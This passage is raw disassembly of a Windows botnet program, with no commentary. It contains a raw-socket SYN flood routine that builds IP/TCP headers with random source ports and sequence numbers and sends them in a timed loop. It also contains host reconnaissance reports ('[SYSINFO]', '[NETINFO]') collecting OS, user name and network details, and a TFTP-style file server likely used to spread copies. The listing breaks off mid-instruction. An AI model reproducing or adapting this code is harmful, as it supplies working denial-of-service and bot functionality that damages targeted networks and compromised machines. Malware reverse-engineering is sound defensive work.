sub_401177 push eax push esi push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call sub_401235 push esi mov edi, eax call sub_415D6C add esp, 24h mov eax, edi pop esi loc_413953: ; CODE XREF: .text:0041390Cj pop edi pop ebx pop ebp retn ; --------------------------------------------------------------------------- db 1Bh dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_413972 proc near ; CODE XREF: sub_401186j arg_0 = dword ptr 4 mov ecx, [esp+arg_0] test cl, cl jnz short loc_41397B inc ecx loc_41397B: ; CODE XREF: sub_413972+6j mov eax, 0FFh cmp eax, ecx sbb eax, eax and eax, 2 add eax, 15h add eax, ecx retn sub_413972 endp ; --------------------------------------------------------------------------- db 6 dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413993 proc near ; CODE XREF: sub_401235j var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx cmp byte ptr [ebp+arg_C], 0Ah jz short loc_4139AF cmp byte ptr [ebp+arg_C], 0Dh jz short loc_4139AF cmp byte ptr [ebp+arg_C], 5Ch jz short loc_4139AF cmp byte ptr [ebp+arg_C], 0 jnz short loc_4139B2 loc_4139AF: ; CODE XREF: sub_413993+8j ; sub_413993+Ej ... inc [ebp+arg_C] loc_4139B2: ; CODE XREF: sub_413993+1Aj push esi mov esi, 0FFh cmp [ebp+arg_C], esi jbe short loc_4139DA mov eax, [ebp+arg_C] shr eax, 8 cmp al, 0Ah jz short loc_4139D3 cmp al, 0Dh jz short loc_4139D3 cmp al, 5Ch jz short loc_4139D3 test al, al jnz short loc_4139DA loc_4139D3: ; CODE XREF: sub_413993+32j ; sub_413993+36j ... add [ebp+arg_C], 100h loc_4139DA: ; CODE XREF: sub_413993+28j ; sub_413993+3Ej push [ebp+arg_C] call sub_401186 cmp eax, [ebp+arg_4] pop ecx mov [ebp+var_4], eax ja short loc_4139F2 cmp eax, 0FFFFh jbe short loc_4139F9 loc_4139F2: ; CODE XREF: sub_413993+56j xor eax, eax jmp loc_413A97 ; --------------------------------------------------------------------------- loc_4139F9: ; CODE XREF: sub_413993+5Dj mov ecx, [ebp+arg_C] push ebx mov bl, byte_49277C xor edx, edx push edi mov edi, [ebp+arg_8] test ecx, ecx jbe short loc_413A29 loc_413A0D: ; CODE XREF: sub_413993+94j mov al, [edx+edi] xor al, bl jz short loc_413A20 cmp al, 0Ah jz short loc_413A20 cmp al, 0Dh jz short loc_413A20 cmp al, 5Ch jnz short loc_413A24 loc_413A20: ; CODE XREF: sub_413993+7Fj ; sub_413993+83j ... inc bl xor edx, edx loc_413A24: ; CODE XREF: sub_413993+8Bj inc edx cmp edx, ecx jb short loc_413A0D loc_413A29: ; CODE XREF: sub_413993+78j cmp ecx, esi mov byte_49277C, bl ja short loc_413A55 push 15h push offset dword_4353CC push [ebp+arg_0] mov byte_4353D9, cl mov byte_4353DD, bl call sub_415960 add esp, 0Ch push 15h jmp short loc_413A76 ; --------------------------------------------------------------------------- loc_413A55: ; CODE XREF: sub_413993+9Ej push 17h push offset dword_4353B4 push [ebp+arg_0] mov word_4353C2, cx mov byte_4353C7, bl call sub_415960 add esp, 0Ch push 17h loc_413A76: ; CODE XREF: sub_413993+C0j xor eax, eax pop ecx cmp [ebp+arg_C], eax jbe short loc_413A92 mov edx, [ebp+arg_0] lea esi, [ecx+edx] loc_413A84: ; CODE XREF: sub_413993+FDj mov cl, [eax+edi] xor cl, bl mov [esi+eax], cl inc eax cmp eax, [ebp+arg_C] jb short loc_413A84 loc_413A92: ; CODE XREF: sub_413993+E9j mov eax, [ebp+var_4] pop edi pop ebx loc_413A97: ; CODE XREF: sub_413993+61j pop esi leave retn sub_413993 endp ; --------------------------------------------------------------------------- db 41h dup(0CCh) ; --------------------------------------------------------------------------- loc_413ADB: ; CODE XREF: sub_4012E9j push ebp mov ebp, esp sub esp, 414h mov eax, [ebp+8] push esi push edi mov ecx, 85h mov esi, eax lea edi, [ebp-214h] rep movsd mov dword ptr [eax+210h], 1 lea eax, [ebp-110h] push eax lea eax, [ebp-190h] push eax lea eax, [ebp-210h] push eax call sub_401339 push eax lea eax, [ebp-414h] push offset dword_4354D8 push eax call sub_416821 xor esi, esi add esp, 18h cmp [ebp-8], esi jnz short loc_413B58 push esi lea eax, [ebp-414h] push dword ptr [ebp-0Ch] push eax lea eax, [ebp-90h] push eax push dword ptr [ebp-214h] call sub_4010D2 add esp, 14h loc_413B58: ; CODE XREF: .text:00413B36j lea eax, [ebp-414h] push eax call sub_401014 push dword ptr [ebp-10h] call sub_4012A3 pop ecx pop ecx push esi call ds:dword_495334 ; ExitThread pop edi pop esi ; --------------------------------------------------------------------------- db 27h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413B9E proc near ; CODE XREF: sub_401064j var_284 = byte ptr -284h var_F4 = byte ptr -0F4h var_B4 = byte ptr -0B4h var_B3 = byte ptr -0B3h var_A0 = byte ptr -0A0h var_94 = byte ptr -94h var_8C = byte ptr -8Ch var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = byte ptr -70h var_6F = byte ptr -6Fh var_6E = word ptr -6Eh var_58 = dword ptr -58h var_50 = word ptr -50h var_4E = word ptr -4Eh var_4C = dword ptr -4Ch var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = word ptr -34h var_32 = word ptr -32h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = byte ptr -28h var_27 = byte ptr -27h var_26 = word ptr -26h var_24 = word ptr -24h var_22 = word ptr -22h var_20 = byte ptr -20h var_1E = word ptr -1Eh var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = byte ptr -18h var_17 = byte ptr -17h var_16 = word ptr -16h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 284h push ebx push edi push 0Eh xor ebx, ebx pop ecx xor eax, eax lea edi, [ebp+var_B3] mov [ebp+var_B4], bl rep stosd stosw stosb lea eax, [ebp+var_284] push eax push 202h call dword_4915D4 ; WSAStartup test eax, eax jz short loc_413BDE xor eax, eax jmp loc_413E4C ; --------------------------------------------------------------------------- loc_413BDE: ; CODE XREF: sub_413B9E+37j push 1 pop edi push edi push ebx push ebx push 0FFh push 3 push 2 call dword_491700 ; WSASocketA cmp eax, 0FFFFFFFFh mov [ebp+var_C], eax jz loc_413E44 push esi lea ecx, [ebp+var_38] push 4 push ecx push 2 push ebx push eax mov [ebp+var_38], edi call dword_49163C ; setsockopt cmp eax, 0FFFFFFFFh jz loc_413E3A push 10h lea eax, [ebp+var_50] push ebx push eax call sub_415CA0 add esp, 0Ch mov [ebp+var_50], 2 push [ebp+arg_8] call dword_49165C ; htons mov esi, [ebp+arg_0] push 28h mov [ebp+var_4E], ax mov [ebp+var_4C], esi mov [ebp+var_20], 45h call dword_49165C ; htons push [ebp+arg_8] mov [ebp+var_1E], ax mov [ebp+var_1C], di mov [ebp+var_1A], bx mov [ebp+var_18], 80h mov [ebp+var_17], 6 mov [ebp+var_16], bx mov [ebp+var_10], esi call dword_49165C ; htons push 4000h mov [ebp+var_32], ax mov [ebp+var_2C], ebx mov [ebp+var_28], 50h mov [ebp+var_27], 2 call dword_49165C ; htons mov [ebp+var_26], ax lea eax, [ebp+var_40] push eax mov [ebp+var_22], bx mov [ebp+arg_8], ebx call ds:dword_495420 ; QueryPerformanceFrequency lea eax, [ebp+var_8] push eax call ds:dword_49541C ; QueryPerformanceCounter push [ebp+var_3C] mov eax, [ebp+arg_C] cdq push [ebp+var_40] push edx push eax call sub_417E10 add eax, [ebp+var_8] mov esi, edx adc esi, [ebp+var_4] mov [ebp+var_58], eax loc_413CC9: ; CODE XREF: sub_413B9E+25Dj ; sub_413B9E+26Bj mov [ebp+var_24], bx call sub_416B18 cdq mov ecx, 3E9h idiv ecx add edx, 3E8h push edx call dword_49165C ; htons mov [ebp+var_34], ax call sub_416B18 mov edi, eax shl edi, 10h call sub_416B18 or edi, eax push edi call dword_49165C ; htons movzx eax, ax mov [ebp+var_30], eax mov eax, [ebp+arg_4] inc [ebp+arg_4] push eax call dword_491658 ; htonl push 14h mov [ebp+var_14], eax mov eax, [ebp+var_10] pop edi push edi mov [ebp+var_74], eax mov [ebp+var_70], bl mov [ebp+var_6F], 6 call dword_49165C ; htons mov [ebp+var_6E], ax mov eax, [ebp+var_14] mov [ebp+var_78], eax lea eax, [ebp+var_78] push 20h push eax lea eax, [ebp+var_B4] push eax call sub_415960 lea eax, [ebp+var_34] push edi push eax lea eax, [ebp+var_94] push eax call sub_415960 lea eax, [ebp+var_B4] push 34h push eax call sub_40120D mov [ebp+var_24], ax lea eax, [ebp+var_20] push edi push eax lea eax, [ebp+var_B4] push eax call sub_415960 lea eax, [ebp+var_34] push edi push eax lea eax, [ebp+var_A0] push eax call sub_415960 push 4 lea eax, [ebp+var_8C] push ebx push eax call sub_415CA0 add esp, 44h lea eax, [ebp+var_B4] push 28h push eax call sub_40120D mov [ebp+var_16], ax lea eax, [ebp+var_20] push edi push eax lea eax, [ebp+var_B4] push eax call sub_415960 add esp, 14h lea eax, [ebp+var_50] push 10h push eax push ebx lea eax, [ebp+var_B4] push 28h push eax push [ebp+var_C] call dword_4916C0 ; sendto cmp eax, 0FFFFFFFFh jz short loc_413E0E add [ebp+arg_8], eax lea eax, [ebp+var_8] push eax call ds:dword_49541C ; QueryPerformanceCounter mov eax, [ebp+var_4] cmp eax, esi jg short loc_413E37 jl loc_413CC9 mov eax, [ebp+var_8] cmp eax, [ebp+var_58] jnb short loc_413E37 jmp loc_413CC9 ; --------------------------------------------------------------------------- loc_413E0E: ; CODE XREF: sub_413B9E+247j call dword_4915F0 ; WSAGetLastError push eax lea eax, [ebp+var_F4] push offset dword_435514 push eax call sub_416821 lea eax, [ebp+var_F4] push eax call sub_401014 add esp, 10h jmp short loc_413E3A ; --------------------------------------------------------------------------- loc_413E37: ; CODE XREF: sub_413B9E+25Bj ; sub_413B9E+269j mov ebx, [ebp+arg_8] loc_413E3A: ; CODE XREF: sub_413B9E+78j ; sub_413B9E+297j push [ebp+var_C] call dword_4916F4 ; closesocket pop esi loc_413E44: ; CODE XREF: sub_413B9E+5Bj call dword_4915BC ; WSACleanup mov eax, ebx loc_413E4C: ; CODE XREF: sub_413B9E+3Bj pop edi pop ebx leave retn sub_413B9E endp ; --------------------------------------------------------------------------- db 0ACh dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_413EFC proc near ; CODE XREF: sub_401339j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push esi push edi push [esp+0Ch+arg_0] call sub_4011C2 push [esp+10h+arg_4] mov esi, eax call sub_416CCF push [esp+14h+arg_8] mov ebx, eax call sub_416CCF mov edi, eax call sub_416B18 cdq mov ecx, 200h push edi idiv ecx push ebx lea eax, [edx+esi+100h] push eax push esi call sub_401064 add esp, 1Ch test eax, eax jnz short loc_413F47 push 1 pop eax loc_413F47: ; CODE XREF: sub_413EFC+46j cdq mov ecx, 3E8h idiv ecx cdq idiv edi pop edi pop esi pop ebx retn sub_413EFC endp ; --------------------------------------------------------------------------- db 16h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_413F6C proc near ; CODE XREF: sub_4011AEj arg_0 = dword ptr 4 push ebx push ebp push esi push edi call ds:dword_495340 ; GetTickCount xor edx, edx mov ecx, 3E8h div ecx mov ebx, 15180h xor edx, edx mov esi, ebx mov edi, 0E10h mov ebp, edi push 3Ch mov ecx, eax sub ecx, [esp+14h+arg_0] mov eax, ecx div esi mov esi, edx xor edx, edx mov eax, esi div ebp pop ebp mov eax, edx xor edx, edx div ebp xor edx, edx push eax mov eax, esi div edi xor edx, edx mov esi, offset dword_492788 push eax mov eax, ecx div ebx push eax push offset aDdDhDm ; "%dd %dh %dm" push 32h push esi call sub_4163D7 add esp, 18h mov eax, esi pop edi pop esi pop ebp pop ebx retn sub_413F6C endp ; --------------------------------------------------------------------------- db 1Ah dup(0CCh) ; --------------------------------------------------------------------------- loc_413FEF: ; CODE XREF: .text:0040112Cj push ebp mov ebp, esp sub esp, 94h lea eax, [ebp-94h] push esi push eax xor esi, esi mov dword ptr [ebp-94h], 94h call ds:dword_495404 ; GetVersionExA test eax, eax jz short loc_414082 cmp dword ptr [ebp-90h], 4 jnz short loc_414058 cmp [ebp-8Ch], esi jnz short loc_414040 cmp dword ptr [ebp-84h], 1 jnz short loc_414033 push 1 pop esi loc_414033: ; CODE XREF: .text:0041402Ej cmp dword ptr [ebp-84h], 2 jnz short loc_414082 push 1 jmp short loc_414081 ; --------------------------------------------------------------------------- loc_414040: ; CODE XREF: .text:00414025j cmp dword ptr [ebp-8Ch], 0Ah jnz short loc_41404D loc_414049: ; CODE XREF: .text:00414067j push 2 jmp short loc_414081 ; --------------------------------------------------------------------------- loc_41404D: ; CODE XREF: .text:00414047j cmp dword ptr [ebp-8Ch], 5Ah jnz short loc_414082 jmp short loc_414072 ; --------------------------------------------------------------------------- loc_414058: ; CODE XREF: .text:0041401Dj cmp dword ptr [ebp-90h], 5 jnz short loc_414082 cmp [ebp-8Ch], esi jz short loc_414049 cmp dword ptr [ebp-8Ch], 1 jnz short loc_414076 loc_414072: ; CODE XREF: .text:00414056j push 3 jmp short loc_414081 ; --------------------------------------------------------------------------- loc_414076: ; CODE XREF: .text:00414070j cmp dword ptr [ebp-8Ch], 2 jnz short loc_414082 push 7 loc_414081: ; CODE XREF: .text:0041403Ej ; .text:0041404Bj ... pop esi loc_414082: ; CODE XREF: .text:00414014j ; .text:0041403Aj ... mov eax, esi pop esi leave retn ; --------------------------------------------------------------------------- db 26h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4140AD proc near ; CODE XREF: sub_401041j push ebx push esi push edi mov esi, 0F4240h loc_4140B5: ; CODE XREF: sub_4140AD+2Fj ; sub_4140AD+35j rdtsc push 3E8h mov edi, edx mov ebx, eax call ds:dword_495324 ; Sleep rdtsc sub eax, ebx push 0 sbb edx, edi push esi push edx push eax call sub_417070 mov edi, edx mov ebx, eax test edi, edi ja short loc_4140B5 jb short loc_4140E4 cmp ebx, esi ja short loc_4140B5 loc_4140E4: ; CODE XREF: sub_4140AD+31j push 0 push 64h push edi push ebx call sub_4170E0 mov ecx, edx push 64h xor edx, edx mov esi, eax test ecx, ecx pop eax ja short loc_414157 jb short loc_414103 cmp esi, 50h jnb short loc_414108 loc_414103: ; CODE XREF: sub_4140AD+4Fj push 4Bh xor edx, edx pop eax loc_414108: ; CODE XREF: sub_4140AD+54j test ecx, ecx ja short loc_414157 jb short loc_414113 cmp esi, 47h jnb short loc_414118 loc_414113: ; CODE XREF: sub_4140AD+5Fj push 42h xor edx, edx pop eax loc_414118: ; CODE XREF: sub_4140AD+64j test ecx, ecx ja short loc_414157 jb short loc_414123 cmp esi, 37h jnb short loc_414128 loc_414123: ; CODE XREF: sub_4140AD+6Fj push 32h xor edx, edx pop eax loc_414128: ; CODE XREF: sub_4140AD+74j test ecx, ecx ja short loc_414157 jb short loc_414133 cmp esi, 26h jnb short loc_414138 loc_414133: ; CODE XREF: sub_4140AD+7Fj push 21h xor edx, edx pop eax loc_414138: ; CODE XREF: sub_4140AD+84j test ecx, ecx ja short loc_414157 jb short loc_414143 cmp esi, 1Eh jnb short loc_414148 loc_414143: ; CODE XREF: sub_4140AD+8Fj push 19h xor edx, edx pop eax loc_414148: ; CODE XREF: sub_4140AD+94j test ecx, ecx ja short loc_414157 jb short loc_414153 cmp esi, 0Ah jnb short loc_414157 loc_414153: ; CODE XREF: sub_4140AD+9Fj xor eax, eax xor edx, edx loc_414157: ; CODE XREF: sub_4140AD+4Dj ; sub_4140AD+5Dj ... sub eax, esi sbb edx, ecx add eax, ebx adc edx, edi pop edi pop esi pop ebx retn sub_4140AD endp ; --------------------------------------------------------------------------- db 2Dh dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414190 proc near ; CODE XREF: sub_40125Dj var_7E8 = byte ptr -7E8h var_668 = byte ptr -668h var_5E8 = byte ptr -5E8h var_568 = byte ptr -568h var_4E8 = byte ptr -4E8h var_3E4 = byte ptr -3E4h var_2E8 = byte ptr -2E8h var_25C = word ptr -25Ch var_25A = byte ptr -25Ah var_15C = byte ptr -15Ch var_114 = byte ptr -114h var_CC = dword ptr -0CCh var_C8 = dword ptr -0C8h var_C4 = dword ptr -0C4h var_C0 = dword ptr -0C0h var_BC = dword ptr -0BCh var_B8 = byte ptr -0B8h var_38 = byte ptr -38h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_18 = byte ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 7E8h push ebx push esi lea eax, [ebp+var_CC] push edi push eax mov [ebp+var_4], offset byte_4370BC mov [ebp+var_CC], 94h call ds:dword_495404 ; GetVersionExA xor ebx, ebx cmp [ebp+var_C8], 4 jnz short loc_414217 cmp [ebp+var_C4], ebx jnz short loc_4141F3 cmp [ebp+var_BC], 1 jnz short loc_4141DD mov [ebp+var_4], offset a95 ; "95" loc_4141DD: ; CODE XREF: sub_414190+44j cmp [ebp+var_BC], 2 jnz loc_414292 mov [ebp+var_4], offset aNt ; "NT" jmp short loc_414263 ; --------------------------------------------------------------------------- loc_4141F3: ; CODE XREF: sub_414190+3Bj cmp [ebp+var_C4], 0Ah jnz short loc_414205 mov [ebp+var_4], offset a98 ; "98" jmp short loc_41425A ; --------------------------------------------------------------------------- loc_414205: ; CODE XREF: sub_414190+6Aj cmp [ebp+var_C4], 5Ah jnz short loc_414253 mov [ebp+var_4], offset aMe_0 ; "ME" jmp short loc_41425A ; --------------------------------------------------------------------------- loc_414217: ; CODE XREF: sub_414190+33j cmp [ebp+var_C8], 5 jnz short loc_414253 cmp [ebp+var_C4], ebx jnz short loc_414231 mov [ebp+var_4], offset a2k ; "2K" jmp short loc_41425A ; --------------------------------------------------------------------------- loc_414231: ; CODE XREF: sub_414190+96j cmp [ebp+var_C4], 1 jnz short loc_414243 mov [ebp+var_4], offset aXp ; "XP" jmp short loc_41425A ; --------------------------------------------------------------------------- loc_414243: ; CODE XREF: sub_414190+A8j cmp [ebp+var_C4], 2 mov [ebp+var_4], offset a2003 ; "2003" jz short loc_41425A loc_414253: ; CODE XREF: sub_414190+7Cj ; sub_414190+8Ej mov [ebp+var_4], offset a??? ; "???" loc_41425A: ; CODE XREF: sub_414190+73j ; sub_414190+85j ... cmp [ebp+var_BC], 2 jnz short loc_414292 loc_414263: ; CODE XREF: sub_414190+61j cmp [ebp+var_B8], bl jz short loc_414292 lea eax, [ebp+var_B8] push eax lea eax, [ebp+var_2E8] push [ebp+var_4] push offset aSS_5 ; "%s (%s)" push eax call sub_416821 lea eax, [ebp+var_2E8] add esp, 10h mov [ebp+var_4], eax loc_414292: ; CODE XREF: sub_414190+54j ; sub_414190+D1j ... mov ax, word_42BB44 push 3Fh mov [ebp+var_25C], ax pop ecx xor eax, eax lea edi, [ebp+var_25A] rep stosd stosw mov eax, dword_491548 mov [ebp+var_C], 100h cmp eax, ebx jz short loc_4142CB lea ecx, [ebp+var_C] push ecx lea ecx, [ebp+var_25C] push ecx call eax ; GetUserNameA loc_4142CB: ; CODE XREF: sub_414190+12Cj push [ebp+arg_4] call sub_401299 pop ecx push eax call dword_49169C ; inet_addr mov [ebp+var_8], eax push 2 lea eax, [ebp+var_8] push 4 push eax call dword_491614 ; gethostbyaddr cmp eax, ebx jz short loc_4142F4 push dword ptr [eax] jmp short loc_4142F9 ; --------------------------------------------------------------------------- loc_4142F4: ; CODE XREF: sub_414190+15Ej push offset aCouldnTResolve ; "couldn't resolve host" loc_4142F9: ; CODE XREF: sub_414190+162j lea eax, [ebp+var_3E4] push eax call sub_416821 pop ecx lea eax, [ebp+var_4E8] pop ecx push 104h push eax call ds:dword_495364 ; GetSystemDirectoryA lea eax, [ebp+var_114] push 46h push eax push offset aDdMmmYyyy ; "dd:MMM:yyyy" push ebx mov esi, 409h push ebx push esi call ds:dword_49536C ; GetDateFormatA lea eax, [ebp+var_15C] push 46h push eax push offset aHhMmSs ; "HH:mm:ss" push ebx push ebx push esi call ds:dword_495368 ; GetTimeFormatA push 20h lea eax, [ebp+var_38] push ebx push eax call sub_415CA0 add esp, 0Ch lea eax, [ebp+var_38] push eax call ds:dword_495424 ; GlobalMemoryStatus push ebx push ebx lea eax, [ebp+var_18] push ebx push eax lea eax, [ebp+var_4E8] push eax call sub_417900 lea eax, [ebp+var_18] push eax lea eax, [ebp+var_7E8] push eax call sub_4010AA push 60h mov esi, eax pop ecx lea edi, [ebp+var_7E8] rep movsd push 60h lea esi, [ebp+var_7E8] pop ecx lea edi, [ebp+var_668] rep movsd push ebx call sub_4011AE add esp, 20h push eax lea eax, [ebp+var_15C] push eax lea eax, [ebp+var_114] push eax lea eax, [ebp+var_25C] push eax push [ebp+arg_4] call sub_401299 pop ecx push eax lea eax, [ebp+var_3E4] push eax lea eax, [ebp+var_4E8] push eax lea eax, [ebp+var_5E8] push [ebp+var_C0] push [ebp+var_C4] push [ebp+var_C8] push [ebp+var_4] push eax lea eax, [ebp+var_568] push eax mov eax, [ebp+var_2C] shr eax, 0Ah push ebx push eax call sub_401217 pop ecx pop ecx push eax mov eax, [ebp+var_30] shr eax, 0Ah push ebx push eax call sub_401217 pop ecx pop ecx push eax call sub_401041 push edx push eax push offset aSysinfoCpuI64u ; "[SYSINFO]: [CPU]: %I64uMHz. [RAM]: %sKB"... push 200h push [ebp+arg_0] call sub_4163D7 mov eax, [ebp+arg_0] add esp, 50h pop edi pop esi pop ebx leave retn sub_414190 endp ; --------------------------------------------------------------------------- db 0ADh dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4144F1 proc near ; CODE XREF: sub_401302j var_8C = byte ptr -8Ch var_C = byte ptr -0Ch var_8 = byte ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8Ch push esi mov esi, 80h push esi lea eax, [ebp+var_8C] push 0 push eax call sub_415CA0 add esp, 0Ch cmp dword_491744, 0 jnz short loc_414565 push 0 lea eax, [ebp+var_8C] push esi push eax lea eax, [ebp+var_C] push eax call dword_49152C ; InternetGetConnectedStateEx test eax, eax jnz short loc_414546 lea eax, [ebp+var_8C] push offset aNotConnected ; "Not connected" push eax call sub_416821 pop ecx pop ecx loc_414546: ; CODE XREF: sub_4144F1+40j test [ebp+var_C], 1 jz short loc_41455E push offset aDialUp ; "Dial-up" loc_414551: ; CODE XREF: sub_4144F1+72j lea eax, [ebp+var_8] push eax call sub_416821 pop ecx pop ecx jmp short loc_414584 ; --------------------------------------------------------------------------- loc_41455E: ; CODE XREF: sub_4144F1+59j push offset dword_4356E4 jmp short loc_414551 ; --------------------------------------------------------------------------- loc_414565: ; CODE XREF: sub_4144F1+28j mov esi, offset off_4356E0 lea eax, [ebp+var_8] push esi push eax call sub_416821 lea eax, [ebp+var_8C] push esi push eax call sub_416821 add esp, 10h loc_414584: ; CODE XREF: sub_4144F1+6Bj push [ebp+arg_4] push [ebp+arg_8] call sub_401299 pop ecx push eax lea eax, [ebp+var_8C] push eax lea eax, [ebp+var_8] push eax push offset aNetinfoTypeSS_ ; "[NETINFO]: [Type]: %s (%s). [IP Address"... push 200h push [ebp+arg_0] call sub_4163D7 mov eax, [ebp+arg_0] add esp, 1Ch pop esi leave retn sub_4144F1 endp ; --------------------------------------------------------------------------- db 31h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4145E8 proc near ; CODE XREF: sub_4012EEj var_884 = dword ptr -884h var_880 = dword ptr -880h var_780 = byte ptr -780h var_580 = byte ptr -580h var_57F = byte ptr -57Fh var_57E = byte ptr -57Eh var_57D = byte ptr -57Dh var_57C = byte ptr -57Ch var_37C = dword ptr -37Ch var_378 = byte ptr -378h var_274 = byte ptr -274h var_170 = dword ptr -170h var_16C = dword ptr -16Ch var_168 = dword ptr -168h var_164 = byte ptr -164h var_E4 = dword ptr -0E4h var_E0 = dword ptr -0E0h var_D8 = byte ptr -0D8h var_D7 = byte ptr -0D7h var_D6 = byte ptr -0D6h var_D5 = byte ptr -0D5h var_58 = byte ptr -58h var_44 = word ptr -44h var_42 = word ptr -42h var_40 = dword ptr -40h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = byte ptr -2Ch var_28 = dword ptr -28h var_1C = byte ptr -1Ch var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 884h push ebx push esi push edi mov edx, [ebp+arg_0] mov esi, offset aOctet ; "octet" lea edi, [ebp+var_1C] movsd push 1 xor ebx, ebx movsw pop eax mov ecx, 0A9h mov esi, edx lea edi, [ebp+var_37C] push ebx push 2 rep movsd inc [ebp+var_16C] push 2 mov [ebp+var_C], eax mov [edx+2A0h], eax call dword_4916DC ; socket mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_10], edi jnz short loc_4146AB push 190h call ds:dword_495324 ; Sleep call dword_4915F0 ; WSAGetLastError push eax lea eax, [ebp+var_780] push offset dword_4357FC push eax call sub_416821 add esp, 0Ch cmp [ebp+var_E0], ebx jnz short loc_41468B push ebx lea eax, [ebp+var_780] push [ebp+var_E4] push eax lea eax, [ebp+var_164] push eax push [ebp+var_37C] call sub_4010D2 add esp, 14h loc_41468B: ; CODE XREF: sub_4145E8+7Ej lea eax, [ebp+var_780] push eax call sub_401014 push [ebp+var_170] call sub_4012A3 pop ecx pop ecx push ebx call ds:dword_495334 ; ExitThread loc_4146AB: ; CODE XREF: sub_4145E8+50j mov eax, [ebp+var_170] push 10h imul eax, 234h push ebx mov dword_43E92C[eax], edi lea eax, [ebp+var_44] push eax call sub_415CA0 add esp, 0Ch mov [ebp+var_44], 2 push [ebp+var_168] call dword_49165C ; htons mov [ebp+var_42], ax lea eax, [ebp+var_44] push 10h push eax push edi mov [ebp+var_40], ebx call dword_491688 ; bind cmp eax, 0FFFFFFFFh jnz short loc_414710 push 1388h call ds:dword_495324 ; Sleep dec [ebp+var_16C] push [ebp+arg_0] jmp loc_414AD3 ; --------------------------------------------------------------------------- loc_414710: ; CODE XREF: sub_4145E8+10Dj lea eax, [ebp+var_378] push offset dword_42B830 push eax call sub_417012 pop ecx cmp eax, ebx pop ecx mov [ebp+var_8], eax jnz short loc_41478E push 190h call ds:dword_495324 ; Sleep lea eax, [ebp+var_378] push eax lea eax, [ebp+var_780] push offset dword_4357C4 push eax call sub_416821 push ebx lea eax, [ebp+var_780] push [ebp+var_E4] push eax lea eax, [ebp+var_164] push eax push [ebp+var_37C] call sub_4010D2 lea eax, [ebp+var_780] push eax call sub_401014 push [ebp+var_170] call sub_4012A3 add esp, 28h push ebx call ds:dword_495334 ; ExitThread loc_41478E: ; CODE XREF: sub_4145E8+140j mov esi, 200h loc_414793: ; CODE XREF: sub_4145E8+4A5j mov eax, [ebp+arg_0] cmp [eax+2A0h], ebx jz loc_414A93 mov [ebp+var_880], edi mov edi, 80h push edi lea eax, [ebp+var_D8] push ebx push eax mov [ebp+var_34], 5 mov [ebp+var_30], 1388h mov [ebp+var_884], 1 call sub_415CA0 add esp, 0Ch lea eax, [ebp+var_34] push eax push ebx lea eax, [ebp+var_884] push ebx push eax push ebx call dword_491644 ; select test eax, eax jle loc_414A87 mov al, byte_4370BC mov ecx, edi mov [ebp+var_580], al xor eax, eax lea edi, [ebp+var_57F] mov [ebp+var_4], 10h rep stosd stosw stosb mov edi, [ebp+var_10] lea eax, [ebp+var_4] push eax lea eax, [ebp+var_2C] push eax push ebx lea eax, [ebp+var_D8] push 80h push eax push edi call dword_491634 ; recvfrom push [ebp+var_28] mov [ebp+var_C], eax call dword_4916E8 ; inet_ntoa push eax lea eax, [ebp+var_58] push eax call sub_416821 cmp [ebp+var_D8], bl pop ecx pop ecx jnz loc_414A71 cmp [ebp+var_D7], 1 jnz loc_4149BD lea eax, [ebp+var_274] push eax call sub_4158E0 lea eax, [ebp+eax+var_D5] mov [ebp+var_14], eax lea eax, [ebp+var_274] push eax call sub_4158E0 push eax lea eax, [ebp+var_D6] push eax lea eax, [ebp+var_274] push eax call sub_417B10 add esp, 14h test eax, eax jnz loc_414977 lea eax, [ebp+var_1C] push eax call sub_4158E0 push eax lea eax, [ebp+var_1C] push [ebp+var_14] push eax call sub_417B10 add esp, 10h test eax, eax jnz loc_414977 push ebx push ebx push [ebp+var_8] call sub_417E44 push [ebp+var_8] lea eax, [ebp+var_57C] mov [ebp+var_580], bl mov [ebp+var_57F], 3 push esi push 1 push eax mov [ebp+var_57E], bl mov [ebp+var_57D], 1 call sub_416DEA add esp, 1Ch lea ecx, [ebp+var_2C] mov [ebp+var_C], eax add eax, 4 push [ebp+var_4] push ecx push ebx push eax lea eax, [ebp+var_580] push eax push edi call dword_4916C0 ; sendto lea eax, [ebp+var_378] push eax lea eax, [ebp+var_58] push eax push offset dword_435794 loc_41492B: ; CODE XREF: sub_4145E8+484j lea eax, [ebp+var_780] push eax call sub_416821 add esp, 10h cmp [ebp+var_E0], ebx jnz short loc_414965 push ebx lea eax, [ebp+var_780] push [ebp+var_E4] push eax lea eax, [ebp+var_164] push eax push 